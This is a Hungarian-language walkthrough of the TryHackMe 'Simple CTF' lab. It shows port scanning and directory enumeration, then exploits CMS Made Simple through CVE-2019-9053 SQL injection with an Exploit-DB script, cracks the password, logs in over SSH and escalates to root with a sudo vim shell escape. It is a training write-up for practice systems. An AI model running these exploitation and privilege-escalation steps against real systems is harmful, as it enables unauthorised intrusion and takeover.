Tryhackme room link:
IP
Hogy ne felejtsük el, exportáljuk a tryhackme-s IP-t az adott terminálba.
1
export IP=10.10.231.115
ENUMERÁCIÓ
Kezdjünk egy nmap-el, scanneljük le az első 1000 portot:
1
nmap -sSV -A -p1-1000 -Pn -vv -oA simple_ctf.p1000 $IP
Kimenet:
[...]
PORT STATE SERVICE REASON VERSION
21/tcp open ftp syn-ack ttl 63 vsftpd 3.0.3
| ftp-anon: Anonymous FTP login allowed (FTP code 230)
|_Can't get directory listing: TIMEOUT
| ftp-syst:
| STAT:
| FTP server status:
| Connected to ::ffff:10.14.9.60
| Logged in as ftp
| TYPE: ASCII
| No session bandwidth limit
| Session timeout in seconds is 300
| Control connection is plain text
| Data connections will be plain text
| At session startup, client count was 3
| vsFTPd 3.0.3 - secure, fast, stable
|_End of status
80/tcp open http syn-ack ttl 63 Apache httpd 2.4.18 ((Ubuntu))
| http-methods:
|_ Supported Methods: GET HEAD POST OPTIONS
| http-robots.txt: 2 disallowed entries
|_/ /openemr-5_0_1_3
|_http-server-header: Apache/2.4.18 (Ubuntu)
|_http-title: Apache2 Ubuntu Default Page: It works
[...]
1 - How many services are running under port 1000?
Vagyis, hány szolgáltatás fut az 1000-es port alatt?
Látjuk, hogy fut a vsftpd 3.0.3 és be van kapcsolva az Anonymous FTP login, valamint fut a 80-as porton az Apache httpd 2.4.18.
Válasz: 2
2 - What is running on the higher port?
Mi fut a legmagasabb (nyitott) porton?
1
nmap -sSV -A -p1000-65535 -Pn -vv -oA simple_ctf.p65535 $IP
Kimenet:
[...]
2222/tcp open ssh OpenSSH 7.2p2 Ubuntu 4ubuntu2.8 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 2048 29:42:69:14:9e:ca:d9:17:98:8c:27:72:3a:cd:a9:23 (RSA)
| 256 9b:d1:65:07:51:08:00:61:98:de:95:ed:3a:e3:81:1c (ECDSA)
|_ 256 12:65:1b:61:cf:4d:e5:75:fe:f4:e8:d4:6e:10:2a:f6 (ED25519)
[...]
A legmagasabb port ami nyitva van az a 2222-es. Ezen egy ssh szolgáltatás fut.
válasz: SSH
3 - What's the CVE you're using against the application?
Mi az a CVE, amelyet az alkalmazás ellen használ?
1
gobuster dir -w /usr/share/wordlists/dirb/common.txt -x php,txt,html -t 20 -u http://$IP/
Kimenet:
===============================================================
Gobuster v3.1.0
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url: http://10.10.231.115/
[+] Method: GET
[+] Threads: 20
[+] Wordlist: /usr/share/wordlists/dirb/common.txt
[+] Negative Status codes: 404
[+] User Agent: gobuster/3.1.0
[+] Extensions: html,php,txt
[+] Timeout: 10s
===============================================================
2021/07/14 22:47:37 Starting gobuster in directory enumeration mode
===============================================================
/.htaccess.html (Status: 403) [Size: 302]
/.hta (Status: 403) [Size: 292]
/.htpasswd (Status: 403) [Size: 297]
/.htaccess.php (Status: 403) [Size: 301]
/.htpasswd.php (Status: 403) [Size: 301]
/.hta.php (Status: 403) [Size: 296]
/.htaccess.txt (Status: 403) [Size: 301]
/.htpasswd.txt (Status: 403) [Size: 301]
/.hta.txt (Status: 403) [Size: 296]
/.hta.html (Status: 403) [Size: 297]
/.htpasswd.html (Status: 403) [Size: 302]
/.htaccess (Status: 403) [Size: 297]
/index.html (Status: 200) [Size: 11321]
/index.html (Status: 200) [Size: 11321]
/robots.txt (Status: 200) [Size: 929]
/robots.txt (Status: 200) [Size: 929]
/server-status (Status: 403) [Size: 301]
/simple (Status: 301) [Size: 315] [--> http://10.10.231.115/simple/]
===============================================================
2021/07/14 22:48:33 Finished
===============================================================
Ami innen fontos nekünk az a /simple mappa. A http://$IP/simple/ mögött tárolt alkalmazás egy CMS rendszer (CMS Made Simple 2.2.8 verzió). Számos biztonsági rés létezik, de a legfontosabb a CVE-2019-9053.
válasz: CVE-2019-9053
4 - To what kind of vulnerability is the application vulnerable?
4 - Milyen sebezhetőségnek van kitéve ez az alkalmazás?
Ez a CVE egy SQL Injection-ről szól, amelyet általában sqli-nek neveznek.
Válasz: SQLi
5 - What’s the password?
Mi a jelszó?
Használjuk ki. A python-exploit itt érhető el: exploits/46635
vagy, ha egyszerűbb megoldásra törekszünk:
1
searchsploit cms made simple 2.2.10
Kimenet:
------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------ ---------------------------------
Exploit Title | Path
------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------ ---------------------------------
CMS Made Simple < 2.2.10 - SQL Injection | php/webapps/46635.py
------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------ ---------------------------------
Aztán kimásoljuk egy tetszőleges könyvtárba:
1
searchsploit -m php/webapps/46635.py ~/thm/machines/simple_ctf/
Ezután futtassuk le a python exploitot:
1
python 46635.py -u http://$IP/simple/ --crack -w /usr/share/dirb/wordlists/others/best110.txt
Kimenet:
[+] Salt for password found: 1dac0d92e9fa6bb2
[+] Username found: mitch
[+] Email found: admin@admin.com
[+] Password found: 0c01f4468bd75d7a84c7eb73846e8d96
[+] Password cracked: secret
Válasz: secret
6 - Where can you login with the details obtained?
6 - Hol lehet bejelentkezni a megszerzett adatokkal?
Ezeket a hitelesítő adatokat használhatjuk az ssh (2222-es porton futó) bejelentkezéshez:
Válasz: SSH
7 - What’s the user flag?
7 - Mi a user flag?
Jelen esetben az sshpass nevű programot fogom segítségül hívni a sima ssh-hez. Ha neked nincs fent az sshpass akkor se csüggedj, apt-on fent van, tehát:
1
sudo apt-get update -y; sudo apt-get install sshpass -y
Ha ezzel megvagyunk használhatnánk is, ennek a parancsnak a kimenetében megkapjuk a user.txt eredményét:
1
sshpass -p secret ssh mitch@$IP -p 2222 cat user.txt
8 - Is there any other user in the home directory? What’s its name?
8 - Van-e más felhasználó a
homekönyvtárban? Mi a neve?
Találunk egy másik felhasználót a /home könyvtárban:
1
ls -l /home
Kimenet:
total 8
drwxr-x--- 3 mitch mitch 4096 aug 19 2019 mitch
drwxr-x--- 16 sunbath sunbath 4096 aug 19 2019 sunbath
Válasz: sunbath
9 - What can you leverage to spawn a privileged shell?
9 - Mit tud kihasználni egy privilegizált shell létrehozására?
Amikor csatlakozunk, úgy tűnik, hogy van egy interaktív shellünk, de ez nem egy teljes értékű shell. (pl. Nincs TAB befejezés, nem tudunk nyilakat használni stb.). Ezt egyébként könnyű megkerülni:
1
mitch@Machine:~$ python -c 'import pty; pty.spawn("/bin/bash")'
Most van egy többé-kevésbé normalizált shellünk! Lássuk, mit tudunk futtatni root-ként, sudo nélkül:
1
2
3
mitch@Machine:~$ sudo -l
User mitch may run the following commands on Machine:
(root) NOPASSWD: /usr/bin/vim
Tehát a vim root-ként futtatható jelszó nélkül.
1
mitch@Machine:/home$ sudo vim
Most futtassuk a vim-et, és kezdjük el gépelni a következőket: :shell és ENTER. Hoppá! Van egy héjad root jogokkal!
Válasz: vim
What's the root flag?
Mi a root flag?
Ezt könnyen kideríthetjük:
1
2
root@Machine:/home# cd /root/
root@Machine:/root# cat root.txt